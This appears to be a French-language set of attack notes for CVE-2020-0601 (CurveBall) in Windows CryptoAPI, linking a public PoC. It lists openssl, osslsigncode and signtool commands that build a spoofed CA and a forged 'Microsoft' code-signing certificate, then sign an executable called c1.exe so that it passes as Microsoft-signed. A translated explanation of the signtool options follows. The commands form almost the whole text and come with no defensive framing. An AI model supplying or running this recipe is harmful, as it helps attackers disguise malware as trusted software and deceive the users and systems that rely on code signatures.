
PoC pour CVE-2020-0601 - Windows CryptoAPI (Crypt32.dll) POC : https://github.com/ollypwn/CurveBall
PoC pour CVE-2020-0601 - Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
Sur kali: 1.Créer le fichier PKCS12
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out Microsoft.key
openssl req -new -key Microsoft.key -out Microsoft.csr -config openssl_cs.conf -reqexts v3_cs
openssl x509 -req -in Microsoft.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out Microsoft.crt -days 50000 -extfile openssl_cs.conf -extensions v3_cs
openssl pkcs12 -export -in Microsoft.crt -inkey Microsoft.key -certfile spoofed_ca.crt -name "Code Signing" -out Microsoft.p12
2.Signer le fichier :
osslsigncode sign -pkcs12 Microsoft.p12 -n "Signed by DiDi" -pass 123 -in c1.exe -out c1_Microsoft_signed.exe

3.Sur Windows utilisez pour signer le fichier, situé dans "C:\Program Files (x86)\Microsoft SDKs\ClickOnce\SignTool\signtool.exe" :
signtool sign /v /f Microsoft.p12 /tr http://timestamp.digicert.com /as /fd sha256 /p 123 c1.exe

*Options globales de signtool.exe : /v Affiche une sortie détaillée et des messages d'avertissement, que la commande réussisse ou non. Options de la commande sign : /f Spécifie le certificat de signature dans le fichier. Si le fichier est au format PFX et protégé par mot de passe, utilisez l'option /p pour spécifier le mot de passe. Si le fichier ne contient pas de clé privée, utilisez les options /csp et /kc pour spécifier le CSP et le nom du conteneur de clé privée. /tr Spécifie l'URL du serveur de timestamp RFC 3161. Si cette option (ou /t) est absente, aucune opération de timestamp ne sera effectuée sur le fichier signé. Si l'opération de timestamp échoue, un avertissement sera généré. Cette option ne peut pas être utilisée avec l'option /t. /as Ajoute cette signature. Si aucune signature principale n'existe, cette signature devient la signature principale. /fd Spécifie l'algorithme de hachage de fichier à utiliser pour créer la signature du fichier. La valeur par défaut est SHA1. /p Spécifie le mot de passe à utiliser pour ouvrir le fichier PFX. (Utilisez l'option /f pour spécifier le fichier PFX.)